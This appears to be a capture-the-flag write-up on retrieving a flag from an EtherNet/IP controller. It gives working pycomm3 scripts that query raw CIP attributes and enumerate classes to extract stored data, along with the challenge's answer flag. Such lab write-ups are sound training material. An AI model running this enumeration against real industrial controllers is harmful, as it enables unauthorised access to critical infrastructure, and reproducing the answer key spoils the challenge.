Overview
This challenge involves interacting with an EtherNet/IP controller and retrieving a value labeled as FLAG. Unlike typical web or binary exploitation challenges, this one focuses on understanding and communicating with industrial protocols — specifically the Common Industrial Protocol (CIP).
The key objective is to connect to the target device and extract the flag using the correct communication method.
Target Information
- IP Address: 154.57.164.80
- Port: 32337
- Protocol: EtherNet/IP (CIP)
Initial Approach
Since the challenge explicitly mentions a FLAG tag, the natural first step is to try reading it directly using standard EtherNet/IP libraries.
Attempt 1: Using pycomm3
from pycomm3 import LogixDriver
target = '154.57.164.80:32337'
with LogixDriver(target) as plc:
result = plc.read('FLAG')
print(result)Result
This attempt failed with:
- Tag not found
- Errors related to tag enumeration
Understanding the Failure
The failure indicates that:
- The device does not expose tags in the usual Logix tag interface
- Tag enumeration is either restricted or unsupported
- The assumption that
FLAGis directly accessible as a tag is incorrect
At this point, it's important to shift from high-level tag interaction to low-level protocol interaction.
Switching to Raw CIP Communication
Instead of relying on tag-based access, we can directly interact with the device using CIP messages.
CIP uses a structure of:
- Class
- Instance
- Attribute
A common request is:
Get_Attribute_Single (0x0E)
Verifying Connectivity
We first query a known object: the Identity Object
from pycomm3 import CIPDriver
target = '154.57.164.80:32337'
with CIPDriver(target) as conn:
result = conn.generic_message(
service=0x0E,
class_code=0x01,
instance=0x01,
attribute=0x07
)
print(result)Output
b'\x141756-L61/B LOGIX5561'This confirms:
- The device is reachable
- It is a Logix-based controller
- Raw CIP communication works
Enumerating CIP Objects
Since the flag is not accessible via tags, the next step is to enumerate different classes and attributes.
from pycomm3 import CIPDriver
target = '154.57.164.80:32337'
with CIPDriver(target) as conn:
for cls in range(1, 0x20):
for attr in range(1, 10):
try:
result = conn.generic_message(
service=0x0E,
class_code=cls,
instance=1,
attribute=attr
)
if result.value:
print(f"[Class {cls} Attr {attr}] -> {result.value}")
except:
passFinding the Flag
During enumeration, the following output appears:
[Class 2 Attr 1] -> b'H\x00T\x00B\x00{\x003\x00t\x00h\x003\x00r\x00n\x003\x00t\x001\x00p\x00_\x00p\x00w\x00n\x003\x00d\x00}\x00'Decoding the Output
The returned value is encoded in UTF-16, which explains the null bytes (\x00) between characters.
To decode it:
print(result.value.decode('utf-16'))Decoded Result
HTB{3th3rn3t1p_pwn3d}Final Flag
HTB{3th3rn3t1p_pwn3d}Key Takeaways
- Not all EtherNet/IP devices expose Logix-style tags
- When tag-based access fails, switch to raw CIP communication
- Understanding CIP structure (Class/Instance/Attribute) is crucial
- Industrial protocols often use UTF-16 encoding
- Enumeration is often more effective than guessing
Conclusion
This challenge highlights the importance of adapting your approach when assumptions fail. Instead of relying on high-level abstractions, working directly with the underlying protocol provided the necessary visibility to retrieve the flag.